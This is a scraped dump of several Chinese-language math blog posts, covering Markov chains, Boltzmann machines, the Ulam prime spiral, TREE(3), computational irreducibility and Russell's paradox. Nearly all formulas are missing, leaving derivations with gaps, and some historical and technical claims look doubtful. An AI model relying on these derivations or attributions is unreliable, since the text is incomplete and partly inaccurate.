马尔可夫过程的核心是 “无后效性”，系统未来状态的概率分布仅依赖于当前状态，与过去的状态无关。这一性质由俄罗斯数学家安德烈・马尔可夫于 1906 年在研究大数定律时首次提出，他通过分析普希金长诗《叶甫盖尼・奥涅金》中的俄语字母序列，验证了离散随机序列的条件独立性。此后，这一理论被推广至连续时间场景，形成了离散时间马尔可夫链（DTMC）和连续时间马尔可夫链（CTMC）两大分支。马尔可夫过程的简洁性使其成为复杂系统建模的基础工具，广泛应用于金融市场预测、自然语言处理和强化学习等领域。 定义与基本性质马尔可夫性的形式化描述马尔可夫过程的核心是马尔可夫性（Markov Property），即未来状态与过去状态在给定当前状态下条件独立。对于离散时间随机过程 ，其数学定义为： 其中 是状态空间， 称为一步转移概率，记为 或 。若转移概率不随时间变化（即 ），则该过程为时齐马尔可夫链（Time-Homogeneous Markov Chain）。 转移概率矩阵与初始分布一步转移概率可构成转移概率矩阵 ，其中每行元素之和为 1（ ），因为系统从状态 出发必然转移到某一状态。若初始时刻（ ）系统处于状态 的概率为 ，则初始分布可表示为行向量 。 系统在时刻 的状态分布 满足递推关系： 展开后可得： 这表明任意时刻的状态分布完全由初始分布和转移矩阵决定。 关键数学推导切普曼 - 科尔莫戈罗夫方程（C - K 方程）切普曼 - 科尔莫戈罗夫方程（Chapman-Kolmogorov Equation）描述了多步转移概率的分解规则。对于时齐马尔可夫链， 步转移概率 满足： 推导过程：从状态 出发，经过 步到达 ，等价于先经 步到中间状态 ，再经 步到 。根据全概率公式： 由马尔可夫性， ，因此： 矩阵形式为 ，即 步转移矩阵是一步转移矩阵的 次方。 平稳分布的存在性与唯一性平稳分布（Stationary Distribution）是指满足 的概率分布 ，即系统达到稳态后状态分布不再变化。对于有限状态空间的不可约马尔可夫链，平稳分布的存在性可通过佩龙 - 弗罗贝尼乌斯定理（Perron-Frobenius Theorem）证明： 佩龙 - 弗罗贝尼乌斯定理：若 是不可约随机矩阵（所有状态互通），则存在唯一的正特征向量 对应特征值 1，且 。概率解释：对于不可约正常返链（返回时间期望有限），平稳分布可表示为 ，其中 是从 出发首次返回 的时间。 证明：构造测度 ，表示从 出发返回 前经过 的期望次数。由于链正常返， ，故 有限。验证平稳性： 将求和拆分为 和 两种情况： 由于 ，第二项为 ，而第一项等于 （减去 时的项）。因此： 标准化后 ，即得平稳分布。 连续时间马尔可夫链与科尔莫戈罗夫方程连续时间马尔可夫链（CTMC）的状态转移由转移速率矩阵 描述，其中 （ 为克罗内克函数），且 。其状态概率密度 满足科尔莫戈罗夫正向方程： 推导：根据全概率公式， 。当 时， ，代入得： 两边除以 并取极限，即得正向方程。 应用方法与实例离散时间马尔可夫链的建模步骤定义状态空间：明确系统可能的状态（如天气模型中的 “晴”“雨”“阴”）。构建转移矩阵：通过数据统计或领域知识确定一步转移概率（如 晴 雨 ）。计算多步转移概率：利用 C - K 方程 预测未来状态分布（如预测 3 天后的天气）。求解平稳分布：解线性方程组 ，分析系统长期行为（如天气的稳态分布）。 连续时间马尔可夫链的应用CTMC 常用于建模排队系统或化学反应动力学。例如，某服务台的状态为等待人数 ，顾客到达速率为 人 / 分钟，服务速率为 人 / 分钟，则转移速率矩阵为： 求解科尔莫戈罗夫方程可得到稳态分布 ，即长期来看系统为空的概率约为 24%。 马尔可夫决策过程（MDP）MDP 是马尔可夫过程的扩展，引入了动作和奖励机制，核心为贝尔曼方程： 其中 是状态 的最优价值函数， 是动作 的即时奖励， 是折扣因子。MDP 是强化学习的理论基础，例如 AlphaGo 通过 MDP 建模围棋决策过程。 总结与展望马尔可夫过程通过 “无后效性” 简化了复杂系统的动态建模，其数学框架涵盖离散与连续时间场景，核心工具包括转移矩阵、C - K 方程和平稳分布。从普希金的诗句到现代 AI 系统，马尔可夫过程的应用已渗透到科学与工程的各个领域。未来，随着量子计算和复杂网络理论的发展，马尔可夫过程可能在量子随机过程、多智能体系统等前沿领域展现新的潜力。"},{"title":"","date":"2026-05-05T00:07:00.000Z","updated":"2026-05-05T00:10:00.000Z","comments":true,"path":"notes/Zeta/144.html","permalink":"https://blog.mhuig.top/notes/Zeta/144","excerpt":"","text":"玻尔兹曼机 玻尔兹曼机：从统计物理到深度学习的跨学科桥梁 玻尔兹曼机（Boltzmann Machine, BM）是由杰弗里・欣顿（Geoffrey Hinton）和特里・谢泽诺斯基（Terry Sejnowski）于 1985 年提出的随机神经网络模型，其核心思想源于统计物理学中的玻尔兹曼分布和伊辛模型。该模型通过能量函数定义系统状态的概率分布，能量越低的状态出现概率越高，从而实现对复杂数据分布的无监督学习。尽管原始玻尔兹曼机因训练效率问题未能广泛应用，但其衍生的受限玻尔兹曼机（Restricted Boltzmann Machine, RBM）和深度玻尔兹曼机（Deep Boltzmann Machine, DBM）成为现代深度学习的重要基础。 历史背景与跨学科起源玻尔兹曼机的思想可追溯至 19 世纪物理学家路德维希・玻尔兹曼的统计力学研究，以及 20 世纪 20 年代恩斯特・伊辛提出的磁性模型。1982 年，约翰・霍普菲尔德提出的霍普菲尔德网络（Hopfield Network）为玻尔兹曼机提供了直接灵感，霍普菲尔德网络通过能量函数实现联想记忆，但缺乏随机性和生成能力。欣顿和谢泽诺斯基在霍普菲尔德网络基础上引入随机神经元和玻尔兹曼分布，于 1985 年正式提出玻尔兹曼机，使其能够通过 “做梦”（生成样本）学习数据分布。 早期玻尔兹曼机因全连接结构导致训练困难，1986 年欣顿提出受限玻尔兹曼机，通过限制同层节点连接大幅提升训练效率。2002 年，欣顿进一步提出对比散度（Contrastive Divergence, CD）算法，解决了 RBM 训练中的采样效率问题，推动其在协同过滤、特征学习等领域的应用。2008 年后，深度玻尔兹曼机（DBM）通过堆叠 RBM 实现更深层次的特征学习，成为深度信念网络（DBN）的基础。 玻尔兹曼机的定义与数学基础基本结构与能量函数玻尔兹曼机是一种对称耦合的随机二元单位网络，包含可见单元（visible units） 和隐藏单元（hidden units） ，其中 和 分别为可见单元和隐藏单元的数量。系统状态 的能量函数定义为： 其中 为模型参数： 表示可见单元与隐藏单元的交互权重， 表示可见单元间的交互权重， 表示隐藏单元间的交互权重（ 和 的对角元素为 0 以避免自连接）。 玻尔兹曼分布与配分函数玻尔兹曼机的联合概率分布遵循玻尔兹曼分布，即系统处于状态 的概率为： 其中 为配分函数（partition function），用于归一化概率分布： 配分函数的计算涉及对所有可能状态的求和，当单元数量较大时（如 时状态数为 ），直接计算不可行，因此需通过采样方法近似。 条件概率分布玻尔兹曼机中，给定可见单元状态 时，隐藏单元 的条件概率为： 其中 为 Sigmoid 函数， 为隐藏单元 的偏置项。同理，给定隐藏单元状态 时，可见单元 的条件概率为： 其中 为可见单元 的偏置项。 受限玻尔兹曼机（RBM）：简化与高效训练结构限制与能量函数受限玻尔兹曼机通过限制同层单元间的连接（即 且 ），将能量函数简化为： 其中 ， 为可见单元偏置， 为隐藏单元偏置。这一结构使得可见单元在给定隐藏单元时条件独立，反之亦然，大幅简化了条件概率计算： 对比散度（CD）算法RBM 的训练目标是最大化训练数据的对数似然函数： 其中 为第 个训练样本。对数似然的梯度为： 第一项为数据分布下的期望（正相），第二项为模型分布下的期望（负相）。由于直接计算负相需采样至热平衡，计算成本极高，欣顿提出对比散度算法，通过 步吉布斯采样近似负相： 正相：给定训练样本 ，采样隐藏单元 ，计算正相统计量 。 负相：进行 步吉布斯采样（交替采样 和 ）得到 和 ，计算负相统计量 。 参数更新： ，其中 为学习率。 实际应用中， 即可取得较好效果，这是因为 RBM 的马尔可夫链混合速度较快。 深度玻尔兹曼机（DBM）：多层特征学习深度玻尔兹曼机通过堆叠多个 RBM 实现深层结构，包含一个可见层和多个隐藏层，层间全连接，同层无连接。其能量函数为： 其中 为隐藏层数量， 为第 层隐藏单元数， 为第 层与第 层的连接权重（ 时连接可见层与第一层隐藏层）。 DBM 的训练通常分为预训练和微调两个阶段： 预训练：逐层训练 RBM，将上一层 RBM 的隐藏层输出作为下一层 RBM 的输入，初始化各层权重。 微调：通过随机梯度上升（Stochastic Gradient Ascent, SGA）优化整个 DBM 的对数似然，需使用马尔可夫链蒙特卡洛（MCMC）方法采样模型分布。 玻尔兹曼机的应用与扩展传统应用领域协同过滤：RBM 在 Netflix Prize 中被用于电影推荐，通过学习用户 - 电影评分的联合分布实现个性化推荐。例如，将用户对电影的评分作为可见单元，隐藏单元学习潜在特征（如电影类型），通过重构评分预测用户偏好。特征学习：RBM 可作为无监督特征提取器，应用于图像识别（如 MNIST 数据集）和语音识别。例如，第一层 RBM 学习边缘特征，第二层学习复杂形状特征，堆叠形成深度信念网络（DBN）。降维与聚类：RBM 通过隐藏层将高维数据映射到低维空间，保留数据的关键结构，可用于数据压缩和聚类分析。 量子计算中的新应用随着量子计算的发展，量子玻尔兹曼机（Quantum Boltzmann Machine, QBM）成为研究热点。例如，量子计算机通过 QBM 与 AI 的融合，解决了经典计算在小分子药物设计、病毒突变预测中的加速痛点。其核心思想是利用量子隧穿效应加速采样过程，大幅提升玻尔兹曼机的训练效率。 未来展望：从历史到量子未来玻尔兹曼机虽已不是当前深度学习的主流模型，但其作为连接统计物理与机器学习的桥梁，为深度学习的发展提供了关键思路，如无监督预训练、生成式建模等。将玻尔兹曼机比作 “历史酶”，其催化了深度学习的突破。未来，随着量子计算技术的成熟，量子玻尔兹曼机有望解决经典玻尔兹曼机的训练瓶颈，在药物研发、金融优化等领域发挥更大作用。同时，玻尔兹曼机的 “清醒 - 睡眠” 学习范式（数据驱动的正相和模型驱动的负相）为类脑智能研究提供了重要启示，大脑是否也通过类似机制在睡眠中 “反学习” 以优化记忆和认知，这一问题或将推动人工智能与神经科学的进一步融合。"},{"title":"","date":"2026-05-05T01:07:00.000Z","updated":"2026-05-05T01:10:00.000Z","comments":true,"path":"notes/Zeta/145.html","permalink":"https://blog.mhuig.top/notes/Zeta/145","excerpt":"","text":"乌拉姆素数螺旋 乌拉姆素数螺旋：从偶然发现到数论谜题 1963 年秋，波兰裔美国数学家斯坦尼斯瓦夫 乌拉姆在一场冗长的学术会议上感到无聊，随手在笔记本上以螺旋方式排列自然数 1 位于中心，随后数字以逆时针方向向外扩展。当他圈出所有素数时，一个惊人的规律浮现：素数倾向于排列在螺旋的对角线上，而非随机散布。这一偶然发现被称为乌拉姆现象，并通过洛斯阿拉莫斯国家实验室的 MANIAC II 计算机系统扩展到 65000 个数字，验证了其普遍性。马丁 加德纳在 1964 年的《科学美国人》杂志封面介绍了这一螺旋，使其成为数论中最引人注目的可视化工具之一。 定义与构造原理乌拉姆螺旋的核心是将自然数按螺旋路径映射到二维网格，其构造可通过坐标变换严格定义。设中心位置为坐标原点 ，数字 对应的坐标 遵循以下规则： 螺旋层划分：第 层（ ）包含从 到 的所有数字，形成一个边长为 的正方形。例如， 对应中心数字 1 ， 对应数字 2 到 9 ， 对应 10 到 25 ，依此类推。 坐标生成：对于第 层的数字 ，令 （即该层内的相对位置），则坐标可通过分段函数计算：当 时（右侧边）： ， ；当 时（上边）： ， ；当 时（左侧边）： ， ；当 时（下边）： ， 。 通过上述规则，自然数被转化为二维网格中的点。当仅保留素数对应的点时，螺旋的对角线会呈现明显的素数聚集现象，例如从中心 41 出发的对角线对应欧拉公式 ，该公式在 到 时均产生素数。 对角线素数与二次多项式的关联乌拉姆螺旋的核心谜题在于：为何素数倾向于出现在对角线？这一现象可通过数论中的二次多项式性质解释。螺旋的对角线对应两类二次函数： 主对角线：对应形如 的多项式，其中 为常数。例如，中心为 1 时，对角线之一对应 ，均为完全平方数（合数）；而中心为 41 时，对角线对应 ，这是欧拉发现的著名素数生成公式。 副对角线：对应形如 的多项式。例如，螺旋中另一组对角线可能对应 ，尽管其生成素数的效率较低，但仍能产生如 5 、 17 、 37 等素数。 以欧拉公式 为例，其素数生成能力可通过模运算分析。对于任意整数 ，若 不整除 41 ，则 的结果均匀分布，降低了被小素数整除的概率。例如： ：当 为偶数时， 和 均为偶数，故 偶 偶 奇 ；当 为奇数时， 和 均为奇数，故 奇 奇 奇 。因此， 始终为奇数，避免了被 2 整除。 ： 或 ， ，故 ，即结果不为 0 ，避免被 3 整除。 类似地，该公式对 5 、 7 等小素数也具有抗性，因此在 时均产生素数。这种 “抗小素数” 特性是对角线素数聚集的关键原因。 数学推导与渐近行为乌拉姆螺旋的素数分布可通过哈代 李特尔伍德猜想 F（Hardy Littlewood Conjecture F）解释。该猜想预测，对于 个整系数二次多项式 ，当 时，所有多项式同时取素数的次数约为： 其中 为仅依赖多项式的常数， 为自然对数。对于乌拉姆螺旋中的对角线多项式（如 ）， ，因此其素数生成次数渐近于 ，与素数定理的形式一致。 以欧拉公式为例，其常数 可通过乘积公式计算： 素数 其中 为方程 的解数。对于 ，当 时， （二次方程最多两个解），因此 为一个有限正数，确保该公式能生成大量素数。 应用与扩展乌拉姆螺旋不仅是数论研究的工具，还被应用于密码学、复杂系统模拟等领域。例如，在 RSA 加密中，大素数的生成依赖于对素数分布的理解，而乌拉姆螺旋揭示的二次多项式素数生成特性为高效素数生成算法提供了启发。此外，研究者通过三维素数螺旋（素数立方螺旋）探索高维空间中的素数分布规律，尽管目前尚未发现类似二维螺旋的明显规律。 在复杂系统模拟中，乌拉姆螺旋被用于空间囚徒困境模型：将合作者置于素数位置时，合作行为在特定条件下（如背叛收益不超过合作收益的 1.33 倍）会占据主导地位。这一发现表明，素数的空间分布可能蕴含着自然系统中合作行为的演化机制。 未解之谜与未来方向尽管乌拉姆螺旋已被研究近 60 年，但其核心机制仍未完全破解。例如：对角线偏好的本质：为何素数更倾向于出现在螺旋的对角线，而非其他方向？这是否与二次多项式的素数生成能力直接相关？高维螺旋的规律：三维或更高维的素数螺旋是否存在类似的素数聚集现象？计算复杂性：如何高效生成超大范围的乌拉姆螺旋（如包含 10 亿以上数字），以验证渐近行为的预测？这些问题的解决可能需要数论、组合数学与计算机科学的交叉研究。我们很快就要面对素数分布的深层结构，它可能揭示宇宙最基本的数学规律。 结论乌拉姆素数螺旋是数学中偶然发现的典范，它将素数的抽象分布转化为直观的几何图案，揭示了二次多项式与素数生成的深刻关联。从欧拉公式的素数生成能力到哈代 李特尔伍德猜想的渐近预测，螺旋的每一条对角线都承载着数论的未解之谜。未来，随着计算能力的提升和理论工具的发展，乌拉姆螺旋可能成为解开素数分布规律的关键钥匙，而这把钥匙，或许就藏在那些看似随机的对角线中。"},{"title":"","date":"2026-05-15T02:07:00.000Z","updated":"2026-05-15T02:10:00.000Z","comments":true,"path":"notes/Zeta/147.html","permalink":"https://blog.mhuig.top/notes/Zeta/147","excerpt":"","text":"TREE(3) TREE (3) 与它的有限性：从组合数学到证明论的极限探索 是组合数学中最著名的大数之一，其有限性证明依赖于 Kruskal 树定理 这一核心工具。该定理指出，任何无限树序列中必然存在两个树满足 嵌入关系 ，即前一个树可以通过删除节点或收缩边的方式转化为后一个树的子结构。 的定义正是基于这一定理的逆命题：它是满足特定条件的最长有限树序列的长度，其中每个树的节点用 3 种颜色标记，且第 k 棵树的节点数不超过 k，同时任意前树无法嵌入后树。尽管 的数值远超人类直观理解（甚至葛立恒数在其面前都显得微不足道），但其有限性的证明却依赖于严格的数学归纳和良拟序理论。 背景与历史：从 Kruskal 定理到 Friedman 的大数构造 函数由数学家哈维・弗里德曼（Harvey Friedman）于 20 世纪 90 年代提出，旨在展示有限组合对象的极端复杂性。其灵感来源于 1960 年 Kruskal 发表的树定理：所有有限树的集合在嵌入关系下构成良拟序（WQO）。良拟序的关键性质是不存在无限的 “坏序列” ，即序列中任意前项无法嵌入后项。这一定理的证明依赖于 Nash-Williams 的最小坏序列论证：假设存在无限坏序列，则可构造一个 “最小” 的坏序列（即首项节点数最小的坏序列），通过递归分解树的结构（如根节点的子树集合），最终导出矛盾。 Friedman 将 Kruskal 定理推广到带标签的树：当树的节点用 n 种颜色标记时，嵌入关系要求对应节点的颜色满足标签集合的序关系（如自然数的大小关系）。 的定义由此而来：它是满足以下条件的最长树序列的长度：1. 第 k 棵树的节点数不超过 k；2. 任意 时，第 i 棵树无法嵌入第 j 棵树；3. 树的节点标签取自 。 对于 ， （仅包含一个单节点树）； 时， （序列为单节点树→双节点树→三节点树）。但当 时，序列长度的增长速度发生质变， 的下界甚至超过了葛立恒数的迭代嵌套。 定义与核心概念：树、嵌入与良拟序树的基本定义树是一个无环的连通图，通常讨论有根树（存在一个根节点，所有边从根指向子节点）。带标签的树指每个节点被赋予一个来自标签集 的元素。 嵌入关系对于两棵带标签的树 和 ， 嵌入 （记作 ）当且仅当存在一个映射 ，满足： 保持根节点对应； 保持父 - 子关系（若 是 在 中的父节点，则 是 在 中的父节点）； 保持标签序（若 中节点 的标签为 ，则 中 的标签 满足 ，其中 是标签集 上的拟序）。 良拟序（WQO）拟序集 是良拟序当且仅当它满足： 自反性： ， ； 传递性：若 且 ，则 ； 无无限反链：不存在无限序列 使得任意 时 与 不可比； 无无限递减链：不存在无限序列 。 Kruskal 定理的核心结论是：所有有限树的集合在嵌入关系下是良拟序。这意味着任何无限树序列中必然存在 使得 ，即无限坏序列不存在。 有限性的证明：从良拟序到最小坏序列 的有限性直接由带标签的 Kruskal 树定理推导而来：当标签集 是有限集（如 ）时，带标签树的集合在嵌入关系下仍是良拟序。以下是证明的关键步骤： 带标签树的良拟序性设 是有限集（因而是良拟序），考虑所有节点标签来自 的有限有根树集合 。我们需要证明 在嵌入关系下是良拟序。 归纳基础：单节点树的集合与 同构，因 是良拟序，故单节点树集合是良拟序。 归纳步骤：假设所有节点数小于 的树构成良拟序，考虑节点数为 的树 。 的根节点有 个子树 （每个子树的节点数小于 ）。根据归纳假设，这些子树的集合是良拟序。由良拟序的乘积性质（若 和 是良拟序，则 也是良拟序），根标签与子树序列的组合构成良拟序。因此，所有节点数为 的树构成良拟序。 通过数学归纳，所有有限带标签树的集合 是良拟序。 TREE (3) 的有限性假设存在无限长的 序列，即满足以下条件的无限树序列 ：1. 第 棵树的节点数 ；2. 任意 时， 无法嵌入 。 根据带标签的 Kruskal 树定理， 是良拟序（ ），故该序列中必然存在 使得 ，与条件 2 矛盾。因此，无限序列不存在， 必为有限数。 的巨大性：从 FGH 到增长率分析尽管 是有限的，但其数值的增长速度远超常规大数（如葛立恒数）。这可以通过快速增长层级（FGH）来刻画：FGH 将函数的增长率与序数对应，序数越高，函数增长越快。 快速增长层级的基本定义FGH 的定义基于序数的递归： （后继函数）； （对 迭代 次）；对于极限序数 ， ，其中 是 的基本序列（如 ， ）。 TREE 函数的增长率 函数的增长率对应于序数 （其中 是 Veblen 函数，@表示多元 Veblen 函数）。这一序数远高于葛立恒数对应的 ，因此 的增长速度远超葛立恒数。 例如，葛立恒数 的增长率仅为 ，而 的下界需要用到 ，其展开过程涉及无限层次的序数递归： 这一过程可以无限嵌套，最终的数值大小远超人类可描述的范围。 TREE (3) 的应用与意义：从组合数学到证明论 的有限性证明依赖于 - 归纳法，这超出了皮亚诺算术（PA）的证明能力。具体来说，Kruskal 树定理在 PA 中不可证，而 的有限性正是该定理的直接推论。这一结果展示了组合数学与证明论的深刻联系：某些有限组合问题的解决需要超越 PA 的数学工具。 此外， 函数的研究推动了大数理论（Googology）的发展，成为衡量函数增长速度的重要标尺。例如， 的增长率被用作比较其他大数（如 、 ）的基准。 结论：有限性与无限的边界 的有限性证明是组合数学与逻辑的完美结合：它利用良拟序的性质排除了无限序列的存在，同时其巨大的数值又挑战了人类对 “有限” 的直观理解。正如 Friedman 所言， 的存在揭示了有限组合对象中蕴含的无限复杂性，即使是看似简单的树序列，也能产生远超宇宙尺度的数值。 最后，一个值得深思的问题是：如果 的有限性需要超越 PA 的证明工具，那么是否存在更大的有限数，其证明需要依赖更强的集合论假设？这一问题不仅关乎数学的边界，更触及了人类理性认知的极限。"},{"title":"","date":"2026-05-11T21:07:00.000Z","updated":"2026-05-11T21:10:00.000Z","comments":true,"path":"notes/Zeta/146.html","permalink":"https://blog.mhuig.top/notes/Zeta/146","excerpt":"","text":"计算不可约性 计算不可约性：原理、推导与应用 计算不可约性（Computational Irreducibility）是斯蒂芬・沃尔夫勒姆（Stephen Wolfram）在《一种新科学》（A New Kind of Science）中提出的核心概念，它揭示了复杂系统演化的根本限制：对于某些系统，除了通过一步步演化来观察其结果外，不存在任何捷径或数学公式可以提前预知其未来。这一概念彻底颠覆了传统科学中 “通过方程预测未来” 的范式，为理解复杂系统提供了全新视角。 历史背景：从元胞自动机到计算宇宙观沃尔夫勒姆对计算不可约性的研究始于对元胞自动机（Cellular Automata）的探索。元胞自动机是一种由简单规则驱动的离散动力系统，每个元胞的状态仅由其邻域状态决定。1980 年代，沃尔夫勒姆系统研究了 256 种基础元胞自动机（Elementary Cellular Automata），发现其中规则 30（Rule 30）表现出惊人的复杂性：从单一初始状态出发，经过迭代演化，生成的图案既非完全随机也非简单重复，而是呈现出局部有序、整体混沌的特征。这种图案与自然界中的织锦芋螺（Conus textile）花纹高度相似，暗示简单规则可以涌现出复杂结构。 规则 30 的行为无法通过任何数学公式或简化模型预测，唯一的方法是逐步骤模拟。沃尔夫勒姆将这一现象推广到整个自然界，提出计算不可约性：复杂系统的演化过程本质上是 “计算”，而这些计算往往无法被简化。这一概念与传统科学形成鲜明对比，牛顿力学中，行星轨道可以通过万有引力公式直接计算，而复杂系统（如天气、生物生长）则必须通过逐步演化才能知晓结果。 定义与核心特征计算不可约性的严格定义可表述为：对于一个计算过程，如果不存在一个计算复杂度低于该过程本身的算法能够预测其结果，则称该过程是计算不可约的。其核心特征包括：不可预测性：无法通过捷径算法提前预知系统的长期行为，必须逐步骤模拟。复杂性涌现：简单规则通过迭代产生高度复杂的行为，如规则 30 的混沌图案。不可还原性：系统行为不能被还原为更简单的组件或规律，必须从整体上观察。不可判定性：没有算法可以在不运行系统的情况下确定其结果，类似于图灵停机问题。 数学推导：从图灵机到不可约性计算不可约性的数学基础可通过图灵机（Turing Machine）模型推导。图灵机由无限纸带、读写头和状态寄存器组成，通过有限规则操作符号。沃尔夫勒姆的核心洞察是：任何足够复杂的系统都等价于通用图灵机，即具有图灵完备性（Turing Completeness）。 图灵完备性与计算等价性图灵完备性意味着系统能够模拟任意计算过程。例如，规则 110 元胞自动机被证明是图灵完备的，能够模拟通用图灵机。计算等价性原理（Principle of Computational Equivalence）进一步指出：几乎所有非平凡的复杂系统都具有等价的计算能力。这意味着天气系统、大脑或元胞自动机，只要达到一定复杂度，其计算能力是等价的，它们都能执行通用计算。 不可约性的形式化推导考虑一个计算过程 ，其状态序列为 ，其中 ， 是演化规则。若存在一个函数 使得 ，且 的计算复杂度低于 本身（即 的运行时间远小于 ），则 是计算可约的。反之，若不存在这样的 ，则 是计算不可约的。 以规则 30 为例，其演化规则可表示为： 其中 是根据 8 条规则（二进制 00011110）确定的下一个状态。要得到第 步的状态 ，必须从 开始逐次应用规则，无法通过公式直接计算。这是因为规则 30 的行为是混沌的，初始条件的微小变化会导致结果的巨大差异（蝴蝶效应），而混沌系统的长期行为是不可预测的。 与停机问题的关联计算不可约性与图灵停机问题（Halting Problem）密切相关。停机问题询问：给定一个程序和输入，该程序是否会在有限时间内停止？图灵证明，不存在通用算法可以解决停机问题。这意味着，对于某些程序，我们无法提前知道其是否会停机，必须实际运行才能确定，这正是计算不可约性的体现。 例如，构造一个程序 ，其行为如下： 其中 是假设的停机判定函数。若 ，则 会进入死循环，与 的判断矛盾；若 ，则 会返回 1，同样矛盾。这证明停机问题不可判定，即程序的行为无法通过捷径预测，必须运行才能知晓，这正是计算不可约性的核心。 应用场景：从自然科学到人工智能计算不可约性在多个领域具有深刻应用，以下是几个关键案例： 1. 自然系统：天气与流体力学大气系统是典型的计算不可约系统。尽管我们掌握了流体力学方程（如 Navier-Stokes 方程），但由于初始条件的微小误差会被非线性效应放大（蝴蝶效应），长期天气预报是不可能的。气象学家必须通过超级计算机逐步骤模拟大气演化，而无法通过公式直接预测未来一年的天气。 2. 生物学：B - Z 反应与生命系统贝洛索夫 - 扎博京斯基反应（B - Z 反应）是一种化学振荡反应，涉及 18 个基元反应和 21 种中间物种，其行为无法通过量子力学方程预测。即使知道所有反应规则，也无法提前计算出反应会形成顺时针还是逆时针螺旋，必须实际进行实验。这体现了生命系统的计算不可约性：生物生长、蛋白质折叠等过程都需要逐步演化，无法通过简化模型预测。 3. 人工智能：大模型与强化学习大语言模型（如 GPT）的训练过程是计算不可约的。模型参数通过大量数据迭代优化，无法通过数学公式直接得到最优参数。强化学习（如 AlphaGo）更是如此：智能体通过与环境的互动逐步试错，积累经验，其决策过程无法被简化，这与计算不可约性高度契合。 4. 社会科学：经济与历史经济系统是计算不可约的。市场波动受无数个体决策和外部因素影响，无法通过经济模型准确预测长期走势。历史事件的演化同样如此：即使知道所有初始条件，也无法预测文明的发展路径，历史必须 “亲自活过” 才能知晓结果。 计算不可约性的哲学启示计算不可约性对科学和哲学产生了深远影响。自由意志的科学基础：如果大脑的决策过程是计算不可约的，那么我们的行为无法被完全预测，这为自由意志提供了科学依据。科学方法的局限性：传统科学依赖方程和简化模型，但计算不可约性表明，许多复杂系统无法被简化，必须通过模拟和实验研究。宇宙的创造性：计算不可约性意味着宇宙会不断产生新的、不可预测的现象，而不是按照预定的方程演化，这为创新和新奇性提供了空间。 结论：在不可约性中寻找可约性的 “口袋”计算不可约性并非否定科学的价值，而是揭示了科学的边界。沃尔夫勒姆指出，虽然全局系统是不可约的，但局部可能存在 “计算可约性的口袋”（pockets of reducibility）。例如，尽管长期天气不可预测，但短期预报是可能的；尽管蛋白质折叠的整体过程不可约，但局部结构可以通过简化模型研究。 未来的科学将在不可约性与可约性之间寻找平衡：一方面，接受复杂系统的不可预测性，通过模拟和实验探索其行为；另一方面，在局部寻找可简化的规律，推动知识的进步。宇宙的本质是计算，而计算不可约性是其最深刻的特征之一。 如果计算不可约性是宇宙的基本特征，那么人工智能能否真正 “理解” 复杂系统？或者，它只能作为模拟工具，帮助人类观察系统的演化？这一问题不仅关乎技术发展，更触及人类认知的本质。"},{"title":"","date":"2026-05-22T23:07:00.000Z","updated":"2026-05-22T23:10:00.000Z","comments":true,"path":"notes/Zeta/149.html","permalink":"https://blog.mhuig.top/notes/Zeta/149","excerpt":"","text":"不知名的碎片 14 不知名的碎片 14 L-function: Autocorrelation function, IRamanujan (1915), Lewis & Zagier (2001), Bettin & Conrey (2013), Darses & Hillion (2021): Analytic continuation to Moments by differentiation of at (so, at ). Autocorrelation function, II Laplace transform of a Dirichlet character holomorphic extension to meromorphic extension to with simple (or removable) poles at , residue Laurent series expansion in : (pole); if (removable). A probability measure Probability measure Moments given by Eulerian numbers: Determination of the measure by its moments (Hamburger moments problem). Related workTheorem (Darses & Hillion, 2024, Acta Arith.)"},{"title":"","date":"2025-09-19T07:35:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/15.html","permalink":"https://blog.mhuig.top/notes/Zeta/15","excerpt":"","text":"罗素悖论 罗素悖论 罗素悖论是由罗素发现的一个朴素集合论的悖论，其基本思想是：对于任意一个集合 ， 要么是自身的元素，即 ； 要么不是自身的元素，即 。 根据康托尔集合论的概括原则，可将所有不是自身元素的集合构成一个集合 现在问题来了，是 ，还是 ？ 如果 ，那么根据 的定义 ，推出 。 如果 ，那么根据 的定义 ，推出 。 也就是说 通俗的版本：一个只为不给自己理发的人理发的理发师应不应该给自己理发？ 一个理发师公布了他的原则：他只为不给自己理发的人理发。那么这个理发师应不应该给自己理发？ 如果他给自己理发，按照他的原则，他就不能给自己理发。 如果他不给自己理发，按照他的原则，他就能给自己理发。 那么理发师应不应该给自己理发？"},{"title":"","date":"2026-05-16T09:07:00.000Z","updated":"2026-05-16T09:10:00.000Z","comments":true,"path":"notes/Zeta/148.html","permalink":"https://blog.mhuig.top/notes/Zeta/148","excerpt":"","text":"数学自循环演化系统 数学自循环演化系统：埃尔德什机、欧拉机、哥德尔机与罗素机的整合 数学的进步本质上是问题与解答的迭代对话，从欧几里得的公理体系到哥德尔的不完备性定理，每一次突破都源于新问题的提出、现有问题的解决，以及对规则边界的重新定义。这里提出一个整合四大机器的闭环系统：埃尔德什机（生成问题）、欧拉机（求解问题）、哥德尔机（演化规则与升维）、罗素机（层级分类），旨在构建一个能自我迭代、无限演化的数学生态。该系统不仅模拟人类数学研究的核心流程，还通过形式化方法突破静态系统的局限，并通过层级结构管理复杂度。 背景与历史脉络四位数学家的工作为系统的四个组件提供了理论基础。埃尔德什（Paul Erdős）以提出大量深刻的数学问题和猜想闻名，其研究风格强调问题的简洁性与深远影响，这对应埃尔德什机的核心功能：生成有价值的数学问题。欧拉（Leonhard Euler）是历史上最多产的数学家之一，擅长将复杂问题转化为可解的形式，其工作覆盖数论、分析、几何等多个领域，欧拉机的设计灵感即来自他的求解能力。哥德尔（Kurt Gödel）的不完备性定理揭示了任何足够强的形式系统都存在无法证明或证伪的命题，这促使哥德尔机的设计目标：通过修改规则或升维来突破现有系统的局限。罗素（Bertrand Russell）的类型论旨在解决集合论中的悖论（如罗素悖论），其层级思想为罗素机提供了分类框架：将问题和定理按类型分层，避免循环引用与矛盾。 系统组件的形式化定义埃尔德什机（EM）埃尔德什机的核心是从现有定理集合生成新的问题集合。设 为当前已证明的定理集合， 为系统的形式语言（包含符号、公式规则），则埃尔德什机可定义为函数： 其中 是 中所有未被证明或证伪的合式公式（WFF）的集合。每个问题 可表示为一个待判定的陈述，例如 “对于所有偶数 ，存在质数 使得 ”（哥德巴赫猜想）。埃尔德什机的生成规则基于对 中定理的组合、泛化或反演，例如，从 “存在无限多个质数” 泛化到 “存在无限多个形如 的质数”。 欧拉机（EU）欧拉机的功能是对问题进行证明或证伪。设 为当前公理集合， 为定理集合， 为待解问题，则欧拉机定义为函数： 若 是陈述 ，则 “Proven” 表示存在从 到 的证明（记为 ），“Disproven” 表示 。若两者均不成立，则根据原因返回 